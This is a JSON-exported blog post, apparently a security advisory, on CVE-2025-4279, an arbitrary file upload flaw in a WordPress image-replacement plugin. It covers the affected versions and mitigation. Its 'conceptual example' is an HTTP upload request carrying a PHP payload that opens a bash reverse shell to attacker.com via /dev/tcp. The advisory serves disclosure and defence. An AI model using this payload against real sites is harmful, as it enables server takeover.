{"id":37118,"date":"2025-05-11T07:10:10","date_gmt":"2025-05-11T07:10:10","guid":{"rendered":""},"modified":"2025-09-12T02:15:01","modified_gmt":"2025-09-12T08:15:01","slug":"cve-2025-4279-critical-arbitrary-file-upload-vulnerability-in-wordpress-external-image-replace-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4279-critical-arbitrary-file-upload-vulnerability-in-wordpress-external-image-replace-plugin\/","title":{"rendered":"<strong>CVE-2025-4279: Critical Arbitrary File Upload Vulnerability in WordPress External Image Replace Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-4279 is a critical vulnerability that exists in the External Image Replace plugin for WordPress. It allows an authenticated user with contributor-level permissions and above to upload arbitrary files to a server. This vulnerability is particularly dangerous as it can pave the way for potential <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24522-unauthenticated-remote-access-to-node-red-server-in-kunbus-revolution-pi-os-bookworm\/\"  data-wpil-monitor-id=\"42787\">remote code execution on the affected site&#8217;s server<\/a>. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2470-critical-privilege-escalation-vulnerability-in-service-finder-bookings-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"41897\">vulnerability affects all versions of the plugin<\/a> up to and including 1.0.8. Given the widespread usage of WordPress, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32974-critical-vulnerability-in-xwiki-s-rights-analysis-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"42245\">vulnerability could potentially<\/a> impact a large number of websites, making it a significant concern for website administrators and cybersecurity professionals alike.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-4279<br \/>\nSeverity: Critical (CVSS: 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Authenticated <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31279-critical-permission-issue-allowing-user-fingerprinting-in-macos-and-ipados\/\"  data-wpil-monitor-id=\"81905\">user with contributor-level permissions<\/a>)<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30165-potential-system-compromise-in-vllm-v0-engine\/\"  data-wpil-monitor-id=\"44057\">System compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2213655676\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>External Image Replace Plugin for WordPress | 1.0.8 and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46348-unauthenticated-backup-exploitation-of-yeswiki-prior-to-version-4-5-4\/\"  data-wpil-monitor-id=\"41849\">prior versions<\/a><\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2907-critical-vulnerability-in-order-delivery-date-wordpress-plugin-could-allow-full-site-takeover\/\"  data-wpil-monitor-id=\"41814\">vulnerability resides in the &#8216;external_image_replace_get_posts::replace_post&#8217; function of the WordPress plugin<\/a>, which lacks proper file type validation. This allows an authenticated attacker with contributor-level permissions to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-1304-unauthorized-file-upload-vulnerability-in-newsblogger-wordpress-theme\/\"  data-wpil-monitor-id=\"42406\">upload arbitrary files<\/a> to the server. The lack of file type validation makes it possible for an attacker to upload a malicious file that, when executed, can lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32444-remote-code-execution-vulnerability-in-vllm-integration-with-mooncake\/\"  data-wpil-monitor-id=\"41865\">remote code execution<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3526845162\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an attacker could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47154-exploitation-of-use-after-free-vulnerability-in-libjs-in-ladybird\/\"  data-wpil-monitor-id=\"42360\">exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-admin\/admin-ajax.php?action=external_image_replace_get_posts::replace_post HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php exec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/attacker.com\/8080 0&gt;&amp;1&#039;&quot;); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker uploads a malicious PHP file that, when executed, opens a reverse shell to the attacker&#8217;s server, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24351-remote-logging-vulnerability-in-ctrlx-os-can-lead-to-root-level-system-compromise\/\"  data-wpil-monitor-id=\"42170\">leading to a full system<\/a> compromise.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3054-arbitrary-file-upload-vulnerability-in-wp-user-frontend-pro-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"59224\">Users of the affected plugin<\/a> are advised to apply the vendor-provided patch immediately. Until the patch is applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks. It&#8217;s also recommended to restrict user permissions wherever possible and ensure proper <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-20653-microsoft-common-log-file-system-elevation-of-privilege-vulnerability\/\"  data-wpil-monitor-id=\"47663\">file type validation throughout the system<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-4279 is a critical vulnerability that exists in the External Image Replace plugin for WordPress. It allows an authenticated user with contributor-level permissions and above to upload arbitrary files to a server. This vulnerability is particularly dangerous as it can pave the way for potential remote code execution on the affected site&#8217;s server. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-37118","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/37118","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=37118"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/37118\/revisions"}],"predecessor-version":[{"id":74366,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/37118\/revisions\/74366"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=37118"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=37118"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=37118"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=37118"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=37118"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=37118"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=37118"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=37118"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=37118"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}